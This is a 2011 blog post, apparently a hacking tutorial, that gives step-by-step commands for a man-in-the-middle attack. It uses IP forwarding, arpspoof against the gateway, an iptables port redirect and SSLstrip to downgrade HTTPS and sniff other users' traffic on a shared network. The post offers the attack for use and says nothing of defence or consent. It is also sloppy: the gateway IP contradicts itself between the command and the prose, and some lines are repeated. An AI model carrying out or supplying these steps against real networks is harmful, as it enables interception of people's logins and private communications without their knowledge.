Thursday, August 18, 2011

Cracking SSL with SSL strip


Secure socket layer or SSL used to established a secure and encrypt connection between user and the server and we would like to break this secure connection so the sniffing will be occur successfully.

To crack SSL protection we launch man in the middle attack, so doing this we need some tools and the requirement list is

Linux (Backtrack)
Arpspoof
IP Tables
SSL Strip
Netstat

1. Linux OS 2. Arpspoof 3. IPTables 4. SSLStrip 5. NetStat

Now start,first of all, make your Linux box to start port forwarding use this command.

echo '1' > /proc/sys/net/ipv4/ip_forward

echo '1' > /proc/sys/net/ipv4/ip_forward

After this your Linux box will able to forward all the packets, now you must know about your gateway IP, to know about your gateway use the command

netstat -nr

Now use ARPSpoof to perform attack

arpspoof -i eth0 192.168.8.8

Here eth0 represents the network interface card if you are using wireless link than it may be wlan0, while 192.168.172.19 is the default gateway in your case may be it different normally people are using 192.168.1.1 or 10.0.0.1

Its time to use SSL Strip, download and install SSL strip from the official website, after installation we are using SSL strip, make your firewall to redirect all the traffic from port 80 to port 8080 so use the command

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

After this make all the traffic to go from ARPspoof tables

echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 192.168.8.8

bt5-ssl2
If your arpspoof start capturing traffic means everything is fine and the time is to use SSL strip use the command below

sslstrip -l 8080

bt5-ssl3
After that your browser address bar does not use https it only use http and the sniffing is so easy.

No comments:

Post a Comment